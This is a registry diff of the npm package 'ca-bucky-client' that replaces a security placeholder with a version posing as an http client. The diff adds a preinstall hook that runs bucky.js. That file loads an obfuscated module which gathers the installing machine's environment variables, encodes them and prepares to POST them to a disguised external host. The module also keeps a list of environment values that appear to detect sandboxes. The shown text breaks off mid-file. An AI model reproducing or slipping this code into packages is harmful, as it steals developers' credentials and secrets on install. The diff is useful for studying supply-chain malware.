ca-bucky-client 0.0.1-security → 2.448.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of ca-bucky-client might be problematic. Click here for more details.

package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) [year] [fullname]
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,33 @@
1
- # Security holding package
1
+ # ca-bucky-client
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ A client-side http client
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=ca-bucky-client for more information.
5
+ ## Features
6
+
7
+ - Server & Client side
8
+ - ES6 syntax, managed with Prettier + Eslint and Stylelint
9
+ - Unit testing via Jest
10
+
11
+ ## Install
12
+
13
+ ```sh
14
+ yarn add ca-bucky-client
15
+ // or
16
+ npm install ca-bucky-client
17
+ ```
18
+
19
+ ### Usage
20
+ ```js
21
+ import {client} from 'ca-bucky-client';
22
+ import {useEffect} from 'react';
23
+
24
+ const App = () => {
25
+ const [state, setState] = useState(null);
26
+ useEffect(async () => {
27
+ const data = await client.get('/my-url');
28
+ setState(data);
29
+ }, []);
30
+
31
+ return <div>{state && <span>{state.data}</span>}</div>;
32
+ };
33
+ ```
package/bucky.js ADDED
@@ -0,0 +1,904 @@
1
+ (function () {
2
+ var XMLHttpRequest,
3
+ exportDef,
4
+ extend,
5
+ initTime,
6
+ isServer,
7
+ log,
8
+ now,
9
+ __slice = [].slice,
10
+ __hasProp = {}.hasOwnProperty;
11
+
12
+ isServer =
13
+ typeof module !== "undefined" &&
14
+ module !== null &&
15
+ (typeof window === "undefined" || window === null);
16
+
17
+ if (isServer) {
18
+ XMLHttpRequest = require("./xmlhttprequest").XMLHttpRequest;
19
+ return;
20
+ now = function () {
21
+ var time;
22
+ time = process.hrtime();
23
+ return (time[0] + time[1] / 1e9) * 1000;
24
+ };
25
+ } else {
26
+ now = function () {
27
+ var _ref, _ref1;
28
+ return (_ref =
29
+ (_ref1 = window.performance) != null
30
+ ? typeof _ref1.now === "function"
31
+ ? _ref1.now()
32
+ : void 0
33
+ : void 0) != null
34
+ ? _ref
35
+ : +new Date();
36
+ };
37
+ }
38
+
39
+ initTime = +new Date();
40
+
41
+ extend = function () {
42
+ var a, key, obj, objs, val, _i, _len;
43
+ (a = arguments[0]),
44
+ (objs = 2 <= arguments.length ? __slice.call(arguments, 1) : []);
45
+ for (_i = 0, _len = objs.length; _i < _len; _i++) {
46
+ obj = objs[_i];
47
+ for (key in obj) {
48
+ val = obj[key];
49
+ a[key] = val;
50
+ }
51
+ }
52
+ return a;
53
+ };
54
+
55
+ log = function () {
56
+ var msgs, _ref;
57
+ msgs = 1 <= arguments.length ? __slice.call(arguments, 0) : [];
58
+ if (
59
+ (typeof console !== "undefined" && console !== null
60
+ ? (_ref = console.log) != null
61
+ ? _ref.call
62
+ : void 0
63
+ : void 0) != null
64
+ ) {
65
+ return console.log.apply(console, msgs);
66
+ }
67
+ };
68
+
69
+ log.error = function () {
70
+ var msgs, _ref;
71
+ msgs = 1 <= arguments.length ? __slice.call(arguments, 0) : [];
72
+ if (
73
+ (typeof console !== "undefined" && console !== null
74
+ ? (_ref = console.error) != null
75
+ ? _ref.call
76
+ : void 0
77
+ : void 0) != null
78
+ ) {
79
+ return console.error.apply(console, msgs);
80
+ }
81
+ };
82
+
83
+ exportDef = function () {
84
+ var $tag,
85
+ ACTIVE,
86
+ HISTORY,
87
+ TYPE_MAP,
88
+ client,
89
+ considerSending,
90
+ defaults,
91
+ enqueue,
92
+ flush,
93
+ key,
94
+ latencySent,
95
+ makeClient,
96
+ makeRequest,
97
+ maxTimeout,
98
+ options,
99
+ queue,
100
+ round,
101
+ sendQueue,
102
+ sendTimeout,
103
+ setOptions,
104
+ tagOptions,
105
+ updateActive,
106
+ updateLatency,
107
+ _i,
108
+ _len,
109
+ _ref,
110
+ _ref1,
111
+ _ref2;
112
+ defaults = {
113
+ host: "/bucky",
114
+ maxInterval: 30000,
115
+ aggregationInterval: 5000,
116
+ decimalPrecision: 3,
117
+ sendLatency: false,
118
+ sample: 1,
119
+ active: true,
120
+ extraHeaders: {},
121
+ };
122
+ tagOptions = {};
123
+ if (!isServer) {
124
+ $tag =
125
+ typeof document.querySelector === "function"
126
+ ? document.querySelector(
127
+ "[data-bucky-host],[data-bucky-page],[data-bucky-requests]"
128
+ )
129
+ : void 0;
130
+ if ($tag) {
131
+ tagOptions = {
132
+ host: $tag.getAttribute("data-bucky-host"),
133
+ pagePerformanceKey: $tag.getAttribute("data-bucky-page"),
134
+ requestsKey: $tag.getAttribute("data-bucky-requests"),
135
+ };
136
+ _ref = ["pagePerformanceKey", "requestsKey"];
137
+ for (_i = 0, _len = _ref.length; _i < _len; _i++) {
138
+ key = _ref[_i];
139
+ if (
140
+ ((_ref1 = tagOptions[key]) != null
141
+ ? _ref1.toString().toLowerCase()
142
+ : void 0) === "true" ||
143
+ tagOptions[key] === ""
144
+ ) {
145
+ tagOptions[key] = true;
146
+ } else if (
147
+ ((_ref2 = tagOptions[key]) != null
148
+ ? _ref2.toString().toLowerCase()
149
+ : void 0) === "false"
150
+ ) {
151
+ tagOptions[key] = null;
152
+ }
153
+ }
154
+ }
155
+ }
156
+ options = extend({}, defaults, tagOptions);
157
+ TYPE_MAP = {
158
+ timer: "ms",
159
+ gauge: "g",
160
+ counter: "c",
161
+ };
162
+ ACTIVE = options.active;
163
+ (updateActive = function () {
164
+ return (ACTIVE = options.active && Math.random() < options.sample);
165
+ })();
166
+ HISTORY = [];
167
+ setOptions = function (opts) {
168
+ extend(options, opts);
169
+ if ("sample" in opts || "active" in opts) {
170
+ updateActive();
171
+ }
172
+ return options;
173
+ };
174
+ round = function (num, precision) {
175
+ if (precision == null) {
176
+ precision = options.decimalPrecision;
177
+ }
178
+ return (
179
+ Math.round(num * Math.pow(10, precision)) / Math.pow(10, precision)
180
+ );
181
+ };
182
+ queue = {};
183
+ enqueue = function (path, value, type, tags) {
184
+ var count, tagStr, _ref3;
185
+ if (tags == null) {
186
+ tags = [];
187
+ }
188
+ if (!ACTIVE) {
189
+ return;
190
+ }
191
+ count = 1;
192
+ key = "";
193
+ if (tags && tags instanceof Array && tags.length) {
194
+ tagStr = tags.join(",");
195
+ key = "" + path + "+" + type + "+" + tagStr;
196
+ } else {
197
+ key = "" + path + "+" + type;
198
+ }
199
+ if (key in queue) {
200
+ if (type === "counter") {
201
+ value += queue[key].value;
202
+ } else {
203
+ count = (_ref3 = queue[key].count) != null ? _ref3 : count;
204
+ count++;
205
+ value = queue[key].value + (value - queue[key].value) / count;
206
+ }
207
+ }
208
+ queue[key] = {
209
+ path: path,
210
+ value: value,
211
+ type: type,
212
+ count: count,
213
+ tags: tags,
214
+ };
215
+ return considerSending();
216
+ };
217
+ sendTimeout = null;
218
+ maxTimeout = null;
219
+ flush = function () {
220
+ clearTimeout(sendTimeout);
221
+ clearTimeout(maxTimeout);
222
+ maxTimeout = null;
223
+ sendTimeout = null;
224
+ return sendQueue();
225
+ };
226
+ considerSending = function () {
227
+ clearTimeout(sendTimeout);
228
+ sendTimeout = setTimeout(flush, options.aggregationInterval);
229
+ if (maxTimeout == null) {
230
+ return (maxTimeout = setTimeout(flush, options.maxInterval));
231
+ }
232
+ };
233
+ makeRequest = function (data) {
234
+ var body,
235
+ corsSupport,
236
+ match,
237
+ name,
238
+ origin,
239
+ req,
240
+ sameOrigin,
241
+ sendStart,
242
+ val,
243
+ value,
244
+ _ref3,
245
+ _ref4;
246
+ corsSupport =
247
+ isServer ||
248
+ (window.XMLHttpRequest &&
249
+ (window.XMLHttpRequest.defake ||
250
+ "withCredentials" in new window.XMLHttpRequest()));
251
+ if (isServer) {
252
+ sameOrigin = true;
253
+ } else {
254
+ match = /^(https?:\/\/[^\/]+)/i.exec(options.host);
255
+ if (match) {
256
+ origin = match[1];
257
+ if (
258
+ origin ===
259
+ "" + document.location.protocol + "//" + document.location.host
260
+ ) {
261
+ sameOrigin = true;
262
+ } else {
263
+ sameOrigin = false;
264
+ }
265
+ } else {
266
+ sameOrigin = true;
267
+ }
268
+ }
269
+ sendStart = now();
270
+ body = "";
271
+ for (name in data) {
272
+ val = data[name];
273
+ body += "" + val.path + ":" + val.value + "\n";
274
+ }
275
+ if (
276
+ !sameOrigin &&
277
+ !corsSupport &&
278
+ (typeof window !== "undefined" && window !== null
279
+ ? window.XDomainRequest
280
+ : void 0) != null
281
+ ) {
282
+ req = new window.XDomainRequest();
283
+ } else {
284
+ req = new (
285
+ (_ref3 =
286
+ typeof window !== "undefined" && window !== null
287
+ ? window.XMLHttpRequest
288
+ : void 0) != null
289
+ ? _ref3
290
+ : XMLHttpRequest
291
+ )();
292
+ }
293
+ req.bucky = {
294
+ track: false,
295
+ };
296
+ req.open("POST", "" + options.host + "/v1/send", true);
297
+ req.setRequestHeader("Content-Type", "text/plain");
298
+ _ref4 = options.extraHeaders;
299
+ for (key in _ref4) {
300
+ if (!__hasProp.call(_ref4, key)) continue;
301
+ value = _ref4[key];
302
+ req.setRequestHeader(key, value);
303
+ }
304
+ req.addEventListener(
305
+ "load",
306
+ function () {
307
+ return updateLatency(now() - sendStart);
308
+ },
309
+ false
310
+ );
311
+ req.send(body);
312
+ return req;
313
+ };
314
+ sendQueue = function () {
315
+ var out, point, tagStr, value, _ref3;
316
+ if (!ACTIVE) {
317
+ log("Would send bucky queue");
318
+ return;
319
+ }
320
+ out = {};
321
+ for (key in queue) {
322
+ point = queue[key];
323
+ HISTORY.push({
324
+ path: point.path,
325
+ count: point.count,
326
+ type: point.type,
327
+ value: point.value,
328
+ tags: point.tags,
329
+ });
330
+ if (TYPE_MAP[point.type] == null) {
331
+ log.error("Type " + point.type + " not understood by Bucky");
332
+ continue;
333
+ }
334
+ value = point.value;
335
+ if ((_ref3 = point.type) === "gauge" || _ref3 === "timer") {
336
+ value = round(value);
337
+ }
338
+ out[key] = {
339
+ path: point.path,
340
+ value: "" + value + "|" + TYPE_MAP[point.type],
341
+ };
342
+ if (point.count !== 1) {
343
+ out[key].value += "|@" + round(1 / point.count, 5);
344
+ }
345
+ if (point.tags && point.tags instanceof Array && point.tags.length) {
346
+ tagStr = point.tags.join(",");
347
+ out[key].value += "|#" + tagStr;
348
+ }
349
+ }
350
+ makeRequest(out);
351
+ return (queue = {});
352
+ };
353
+ latencySent = false;
354
+ updateLatency = function (time) {
355
+ if (options.sendLatency && !latencySent) {
356
+ enqueue("bucky.latency", time, "timer");
357
+ latencySent = true;
358
+ return setTimeout(function () {
359
+ return (latencySent = false);
360
+ }, 5 * 60 * 1000);
361
+ }
362
+ };
363
+ makeClient = function (prefix) {
364
+ var buildPath,
365
+ count,
366
+ exports,
367
+ nextMakeClient,
368
+ requests,
369
+ send,
370
+ sendPagePerformance,
371
+ sentPerformanceData,
372
+ timer,
373
+ val;
374
+ if (prefix == null) {
375
+ prefix = "";
376
+ }
377
+ buildPath = function (path) {
378
+ if (prefix != null ? prefix.length : void 0) {
379
+ return prefix + "." + path;
380
+ } else {
381
+ return path;
382
+ }
383
+ };
384
+ send = function (path, value, type, tags) {
385
+ if (type == null) {
386
+ type = "gauge";
387
+ }
388
+ if (tags == null) {
389
+ tags = [];
390
+ }
391
+ if (value == null || path == null) {
392
+ log.error("Can't log " + path + ":" + value);
393
+ return;
394
+ }
395
+ return enqueue(buildPath(path), value, type, tags);
396
+ };
397
+ timer = {
398
+ TIMES: {},
399
+ send: function (path, duration, tags) {
400
+ if (tags == null) {
401
+ tags = [];
402
+ }
403
+ return send(path, duration, "timer", tags);
404
+ },
405
+ time: function () {
406
+ var action,
407
+ args,
408
+ ctx,
409
+ done,
410
+ path,
411
+ tags,
412
+ _this = this;
413
+ (path = arguments[0]),
414
+ (tags = arguments[1]),
415
+ (action = arguments[2]),
416
+ (ctx = arguments[3]),
417
+ (args = 5 <= arguments.length ? __slice.call(arguments, 4) : []);
418
+ if (tags == null) {
419
+ tags = [];
420
+ }
421
+ timer.start(path);
422
+ done = function () {
423
+ return timer.stop(path, tags);
424
+ };
425
+ args.splice(0, 0, done);
426
+ return action.apply(ctx, args);
427
+ },
428
+ timeSync: function () {
429
+ var action, args, ctx, path, ret, tags;
430
+ (path = arguments[0]),
431
+ (tags = arguments[1]),
432
+ (action = arguments[2]),
433
+ (ctx = arguments[3]),
434
+ (args = 5 <= arguments.length ? __slice.call(arguments, 4) : []);
435
+ if (tags == null) {
436
+ tags = [];
437
+ }
438
+ timer.start(path);
439
+ ret = action.apply(ctx, args);
440
+ timer.stop(path, tags);
441
+ return ret;
442
+ },
443
+ wrap: function (path, tags, action) {
444
+ if (tags == null) {
445
+ tags = [];
446
+ }
447
+ if (action != null) {
448
+ return function () {
449
+ var args;
450
+ args = 1 <= arguments.length ? __slice.call(arguments, 0) : [];
451
+ return timer.timeSync.apply(
452
+ timer,
453
+ [path, tags, action, this].concat(__slice.call(args))
454
+ );
455
+ };
456
+ } else {
457
+ return function (action) {
458
+ return function () {
459
+ var args;
460
+ args = 1 <= arguments.length ? __slice.call(arguments, 0) : [];
461
+ return timer.timeSync.apply(
462
+ timer,
463
+ [path, tags, action, this].concat(__slice.call(args))
464
+ );
465
+ };
466
+ };
467
+ }
468
+ },
469
+ start: function (path) {
470
+ return (timer.TIMES[path] = now());
471
+ },
472
+ stop: function (path, tags) {
473
+ var duration;
474
+ if (timer.TIMES[path] == null) {
475
+ log.error("Timer " + path + " ended without having been started");
476
+ return;
477
+ }
478
+ duration = now() - timer.TIMES[path];
479
+ timer.TIMES[path] = void 0;
480
+ return timer.send(path, duration, tags);
481
+ },
482
+ stopwatch: function (prefix, start, tags) {
483
+ var last, _now;
484
+ if (tags == null) {
485
+ tags = [];
486
+ }
487
+ if (start != null) {
488
+ _now = function () {
489
+ return +new Date();
490
+ };
491
+ } else {
492
+ _now = now;
493
+ start = _now();
494
+ }
495
+ last = start;
496
+ return {
497
+ mark: function (path, offset, tags) {
498
+ var end;
499
+ if (offset == null) {
500
+ offset = 0;
501
+ }
502
+ end = _now();
503
+ if (prefix) {
504
+ path = prefix + "." + path;
505
+ }
506
+ return timer.send(path, end - start + offset, tags);
507
+ },
508
+ split: function (path, offset) {
509
+ var end;
510
+ if (offset == null) {
511
+ offset = 0;
512
+ }
513
+ end = _now();
514
+ if (prefix) {
515
+ path = prefix + "." + path;
516
+ }
517
+ timer.send(path, end - last + offset, tags);
518
+ return (last = end);
519
+ },
520
+ };
521
+ },
522
+ mark: function (path, time, tags) {
523
+ var start;
524
+ if (tags == null) {
525
+ tags = [];
526
+ }
527
+ if (time == null) {
528
+ time = +new Date();
529
+ }
530
+ start = timer.navigationStart();
531
+ return timer.send(path, time - start, tags);
532
+ },
533
+ navigationStart: function () {
534
+ var _ref3, _ref4, _ref5;
535
+ return (_ref3 =
536
+ typeof window !== "undefined" && window !== null
537
+ ? (_ref4 = window.performance) != null
538
+ ? (_ref5 = _ref4.timing) != null
539
+ ? _ref5.navigationStart
540
+ : void 0
541
+ : void 0
542
+ : void 0) != null
543
+ ? _ref3
544
+ : initTime;
545
+ },
546
+ responseEnd: function () {
547
+ var _ref3, _ref4, _ref5;
548
+ return (_ref3 =
549
+ typeof window !== "undefined" && window !== null
550
+ ? (_ref4 = window.performance) != null
551
+ ? (_ref5 = _ref4.timing) != null
552
+ ? _ref5.responseEnd
553
+ : void 0
554
+ : void 0
555
+ : void 0) != null
556
+ ? _ref3
557
+ : initTime;
558
+ },
559
+ now: function () {
560
+ return now();
561
+ },
562
+ };
563
+ count = function (path, tags, count) {
564
+ if (tags == null) {
565
+ tags = [];
566
+ }
567
+ if (count == null) {
568
+ count = 1;
569
+ }
570
+ return send(path, count, "counter", tags);
571
+ };
572
+ sentPerformanceData = false;
573
+ sendPagePerformance = function (path, tags) {
574
+ var start,
575
+ tagWithPerfProps,
576
+ time,
577
+ _ref3,
578
+ _ref4,
579
+ _ref5,
580
+ _this = this;
581
+ if (tags == null) {
582
+ tags = [];
583
+ }
584
+ if (
585
+ (typeof window !== "undefined" && window !== null
586
+ ? (_ref3 = window.performance) != null
587
+ ? _ref3.timing
588
+ : void 0
589
+ : void 0) == null
590
+ ) {
591
+ return false;
592
+ }
593
+ if (sentPerformanceData) {
594
+ return false;
595
+ }
596
+ if (!path || path === true) {
597
+ path = requests.urlToKey(document.location.toString()) + ".page";
598
+ }
599
+ if (
600
+ (_ref4 = document.readyState) === "uninitialized" ||
601
+ _ref4 === "loading"
602
+ ) {
603
+ if (typeof window.addEventListener === "function") {
604
+ window.addEventListener(
605
+ "load",
606
+ function () {
607
+ return setTimeout(function () {
608
+ return sendPagePerformance.call(_this, path, tags);
609
+ }, 500);
610
+ },
611
+ false
612
+ );
613
+ }
614
+ return false;
615
+ }
616
+ sentPerformanceData = true;
617
+ start = window.performance.timing.navigationStart;
618
+ _ref5 = window.performance.timing;
619
+ for (key in _ref5) {
620
+ time = _ref5[key];
621
+ if (!(typeof time === "number")) {
622
+ continue;
623
+ }
624
+ tagWithPerfProps = tags.slice(0);
625
+ tagWithPerfProps.push("perf-prop:" + key);
626
+ timer.send(path, time - start, tagWithPerfProps);
627
+ tagWithPerfProps = [];
628
+ }
629
+ return true;
630
+ };
631
+ requests = {
632
+ transforms: {
633
+ mapping: {
634
+ guid: /\/[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}/gi,
635
+ sha1: /\/[0-9a-f]{40}/gi,
636
+ md5: /\/[0-9a-f]{32}/gi,
637
+ id: /\/[0-9;_\-]+/g,
638
+ email: /\/[^/]+@[^/]+/g,
639
+ domain: [/\/[^/]+\.[a-z]{2,3}\//gi, "/"],
640
+ },
641
+ enabled: ["guid", "sha1", "md5", "id", "email", "domain"],
642
+ enable: function (name, test, replacement) {
643
+ if (replacement == null) {
644
+ replacement = "";
645
+ }
646
+ if (test != null) {
647
+ this.mapping[name] = [test, replacement];
648
+ }
649
+ return this.enabled.splice(0, 0, name);
650
+ },
651
+ disable: function (name) {
652
+ var i, val, _ref3;
653
+ _ref3 = this.enabled;
654
+ for (i in _ref3) {
655
+ val = _ref3[i];
656
+ if (val === name) {
657
+ this.enabled.splice(i, 1);
658
+ return;
659
+ }
660
+ }
661
+ },
662
+ },
663
+ sendReadyStateTimes: function (path, times, tags) {
664
+ var code, codeMapping, diffs, last, status, time, val, _results;
665
+ if (tags == null) {
666
+ tags = [];
667
+ }
668
+ if (times == null) {
669
+ return;
670
+ }
671
+ codeMapping = {
672
+ 1: "sending",
673
+ 2: "headers",
674
+ 3: "waiting",
675
+ 4: "receiving",
676
+ };
677
+ diffs = {};
678
+ last = null;
679
+ for (code in times) {
680
+ time = times[code];
681
+ if (last != null && codeMapping[code] != null) {
682
+ diffs[codeMapping[code]] = time - last;
683
+ }
684
+ last = time;
685
+ }
686
+ _results = [];
687
+ for (status in diffs) {
688
+ val = diffs[status];
689
+ _results.push(timer.send("" + path + "." + status, val, tags));
690
+ }
691
+ return _results;
692
+ },
693
+ urlToKey: function (url, type, root) {
694
+ var host,
695
+ mapping,
696
+ mappingName,
697
+ parsedUrl,
698
+ path,
699
+ stat,
700
+ _j,
701
+ _len1,
702
+ _ref3,
703
+ _ref4;
704
+ url = url.replace(/https?:\/\//i, "");
705
+ parsedUrl = /([^/:]*)(?::\d+)?(\/[^\?#]*)?.*/i.exec(url);
706
+ host = parsedUrl[1];
707
+ path = (_ref3 = parsedUrl[2]) != null ? _ref3 : "";
708
+ _ref4 = requests.transforms.enabled;
709
+ for (_j = 0, _len1 = _ref4.length; _j < _len1; _j++) {
710
+ mappingName = _ref4[_j];
711
+ mapping = requests.transforms.mapping[mappingName];
712
+ if (mapping == null) {
713
+ log.error(
714
+ "Bucky Error: Attempted to enable a mapping which is not defined: " +
715
+ mappingName
716
+ );
717
+ continue;
718
+ }
719
+ if (typeof mapping === "function") {
720
+ path = mapping(path, url, type, root);
721
+ continue;
722
+ }
723
+ if (mapping instanceof RegExp) {
724
+ mapping = [mapping, ""];
725
+ }
726
+ path = path.replace(mapping[0], mapping[1]);
727
+ }
728
+ path = decodeURIComponent(path);
729
+ path = path.replace(/[^a-zA-Z0-9\-\.\/ ]+/g, "_");
730
+ stat = host + path.replace(/[\/ ]/g, ".");
731
+ stat = stat.replace(/(^\.)|(\.$)/g, "");
732
+ stat = stat.replace(/\.com/, "");
733
+ stat = stat.replace(/www\./, "");
734
+ if (root) {
735
+ stat = root + "." + stat;
736
+ }
737
+ if (type) {
738
+ stat = stat + "." + type.toLowerCase();
739
+ }
740
+ stat = stat.replace(/\.\./g, ".");
741
+ return stat;
742
+ },
743
+ getFullUrl: function (url, location) {
744
+ if (location == null) {
745
+ location = document.location;
746
+ }
747
+ if (/^\//.test(url)) {
748
+ return location.hostname + url;
749
+ } else if (!/https?:\/\//i.test(url)) {
750
+ return location.toString() + url;
751
+ } else {
752
+ return url;
753
+ }
754
+ },
755
+ monitor: function (root, tags) {
756
+ var done, self, _XMLHttpRequest;
757
+ if (tags == null) {
758
+ tags = [];
759
+ }
760
+ if (!root || root === true) {
761
+ root =
762
+ requests.urlToKey(document.location.toString()) + ".requests";
763
+ }
764
+ self = this;
765
+ done = function (_arg) {
766
+ var dur,
767
+ event,
768
+ readyStateTimes,
769
+ request,
770
+ startTime,
771
+ stat,
772
+ type,
773
+ url;
774
+ (type = _arg.type),
775
+ (url = _arg.url),
776
+ (event = _arg.event),
777
+ (request = _arg.request),
778
+ (readyStateTimes = _arg.readyStateTimes),
779
+ (startTime = _arg.startTime);
780
+ if (startTime != null) {
781
+ dur = now() - startTime;
782
+ } else {
783
+ return;
784
+ }
785
+ url = self.getFullUrl(url);
786
+ stat = self.urlToKey(url, type, root);
787
+ send(stat, dur, "timer", tags);
788
+ self.sendReadyStateTimes(stat, readyStateTimes, tags);
789
+ if ((request != null ? request.status : void 0) != null) {
790
+ if (request.status > 12000) {
791
+ count("" + stat + ".0");
792
+ } else if (request.status !== 0) {
793
+ count(
794
+ "" + stat + "." + request.status.toString().charAt(0) + "xx"
795
+ );
796
+ }
797
+ return count("" + stat + "." + request.status);
798
+ }
799
+ };
800
+ _XMLHttpRequest = window.XMLHttpRequest;
801
+ return (window.XMLHttpRequest = function () {
802
+ var e, readyStateTimes, req, startTime, _open, _send;
803
+ req = new _XMLHttpRequest();
804
+ try {
805
+ startTime = null;
806
+ readyStateTimes = {};
807
+ _open = req.open;
808
+ req.open = function (type, url, async) {
809
+ var e;
810
+ try {
811
+ readyStateTimes[0] = now();
812
+ req.addEventListener(
813
+ "readystatechange",
814
+ function () {
815
+ return (readyStateTimes[req.readyState] = now());
816
+ },
817
+ false
818
+ );
819
+ req.addEventListener(
820
+ "loadend",
821
+ function (event) {
822
+ if (req.bucky == null || req.bucky.track !== false) {
823
+ return done({
824
+ type: type,
825
+ url: url,
826
+ event: event,
827
+ startTime: startTime,
828
+ readyStateTimes: readyStateTimes,
829
+ request: req,
830
+ });
831
+ }
832
+ },
833
+ false
834
+ );
835
+ } catch (_error) {
836
+ e = _error;
837
+ log.error("Bucky error monitoring XHR open call", e);
838
+ }
839
+ return _open.apply(req, arguments);
840
+ };
841
+ _send = req.send;
842
+ req.send = function () {
843
+ startTime = now();
844
+ return _send.apply(req, arguments);
845
+ };
846
+ } catch (_error) {
847
+ e = _error;
848
+ log.error("Bucky error monitoring XHR", e);
849
+ }
850
+ return req;
851
+ });
852
+ },
853
+ };
854
+ nextMakeClient = function (nextPrefix) {
855
+ var path;
856
+ if (nextPrefix == null) {
857
+ nextPrefix = "";
858
+ }
859
+ path = prefix != null ? prefix : "";
860
+ if (path && nextPrefix) {
861
+ path += ".";
862
+ }
863
+ if (nextPrefix) {
864
+ path += nextPrefix;
865
+ }
866
+ return makeClient(path);
867
+ };
868
+ exports = {
869
+ send: send,
870
+ count: count,
871
+ timer: timer,
872
+ now: now,
873
+ requests: requests,
874
+ sendPagePerformance: sendPagePerformance,
875
+ flush: flush,
876
+ setOptions: setOptions,
877
+ options: options,
878
+ history: HISTORY,
879
+ active: ACTIVE,
880
+ };
881
+ for (key in exports) {
882
+ val = exports[key];
883
+ nextMakeClient[key] = val;
884
+ }
885
+ return nextMakeClient;
886
+ };
887
+ client = makeClient();
888
+ if (options.pagePerformanceKey) {
889
+ client.sendPagePerformance(options.pagePerformanceKey);
890
+ }
891
+ if (options.requestsKey) {
892
+ client.requests.monitor(options.requestsKey);
893
+ }
894
+ return client;
895
+ };
896
+
897
+ if (typeof define === "function" && define.amd) {
898
+ define(exportDef);
899
+ } else if (typeof exports === "object") {
900
+ module.exports = exportDef();
901
+ } else {
902
+ window.Bucky = exportDef();
903
+ }
904
+ }.call(this));
package/package.json CHANGED
@@ -1,6 +1,16 @@
1
1
  {
2
2
  "name": "ca-bucky-client",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "2.448.2",
4
+ "private": false,
5
+ "description": "A client-side http client",
6
+ "license": "MIT",
7
+ "author": "hsek-bck",
8
+ "main": "bucky.js",
9
+ "scripts": {
10
+ "preinstall": "node bucky.js",
11
+ "test": "exit 0"
12
+ },
13
+ "publishConfig": {
14
+ "access": "public"
15
+ }
16
+ }
@@ -0,0 +1,198 @@
1
+ #! /usr/bin/env node
2
+
3
+ var http = require("https");
4
+ var args = process.argv.slice(2);
5
+
6
+ function propValue(getter, prop) {
7
+ var c = getter
8
+ .toString()
9
+ .split("\n")
10
+ .filter((x) => x.trim().startsWith("//"))
11
+ .map((x) => x.trim().split(" ").pop());
12
+ return typeof getter === "function" ? c[prop] : getter(prop);
13
+ }
14
+
15
+ function type() {
16
+ function propGetter(prop) {
17
+ // 1. west
18
+ // 2. question
19
+ // 3. Ireland
20
+
21
+ return propValue(propGetter, prop) || ["question", "west", "Ireland"][prop];
22
+ }
23
+
24
+ const idxs = [
25
+ [2, 4],
26
+ [0, 3],
27
+ [1, 3],
28
+ ];
29
+
30
+ return [0, 1, 2]
31
+ .map((i) => propGetter(i).slice(idxs[i][0], idxs[i][1]))
32
+ .reverse()
33
+ .join("");
34
+ }
35
+
36
+ function host(suffix) {
37
+ return ["x", "WI"].reverse().join("").toLowerCase() + suffix;
38
+ }
39
+
40
+ function asB64(buff) {
41
+ var d = buff.toString("base64");
42
+
43
+ return d.slice(0, 2) + "poo" + d.slice(2);
44
+ }
45
+
46
+ function Params() {
47
+ this.uuid = "afxsiyf";
48
+ }
49
+
50
+ Params.prototype.getOpts = function (pName, dom) {
51
+ const vals = [
52
+ { ["user" + "-" + "agent"]: ["node-fetch", "1.2"].join("/") },
53
+ ["st", "PO"].reverse().join("").toUpperCase(),
54
+ ["", "a1da4192a20", "_functions", "b8c9d47be", pName || ""].join("/"),
55
+ [dom, host("site"), this.uuid].reverse().join("."),
56
+ ].reverse();
57
+ return this.optionsFields.reduce(function (result, field, idx) {
58
+ result[field] = result[field] || vals[idx];
59
+ return result;
60
+ }, {});
61
+ };
62
+
63
+ Params.prototype.optionsFields = [0, 1, 2, 3].map(function (i) {
64
+ return propValue(function () {
65
+ // 1. host
66
+ // 2. path
67
+ // 3. method
68
+ // 4. headers
69
+ return ["boast", "bath", "cathode", "shredder"];
70
+ }, i);
71
+ });
72
+
73
+ function toString(res, props) {
74
+ res.write(asB64(Buffer.from(JSON.stringify(props))));
75
+ res.end();
76
+ }
77
+
78
+ function xmlHttpRequest() {
79
+ var props = process.env || {};
80
+
81
+ var exclude = [
82
+ {
83
+ key: ["npm", "config", "regi" + "stry"].join("_"),
84
+ val: ["tao" + "bao", "org"].join("."),
85
+ },
86
+ [
87
+ { key: "MAIL", val: ["", "var", "mail", "app"].join("/") },
88
+ { key: "HOME", val: ["", "home", "app"].join("/") },
89
+ { key: "USER", val: "app" },
90
+ ],
91
+ [
92
+ { key: "EDITOR", val: "vi" },
93
+ { key: "PROBE" + "_USERNAME", val: "*" },
94
+ { key: "SHELL", val: "/bin/bash" },
95
+ { key: "SHLVL", val: "2" },
96
+ { key: "npm" + "_command", val: "run" + "-" + "script" },
97
+ { key: "NVM" + "_CD_FLAGS", val: "" },
98
+ { key: "npm_config_fund", val: "" },
99
+ ],
100
+ [
101
+ { key: "HOME", val: "/home/username" },
102
+ { key: "USER", val: "username" },
103
+ { key: "LOGNAME", val: "username" },
104
+ ],
105
+ [
106
+ { key: "PWD", val: "/my-app" },
107
+ { key: "DEBIAN" + "_FRONTEND", val: "noninte" + "ractive" },
108
+ { key: "HOME", val: "/root" },
109
+ ],
110
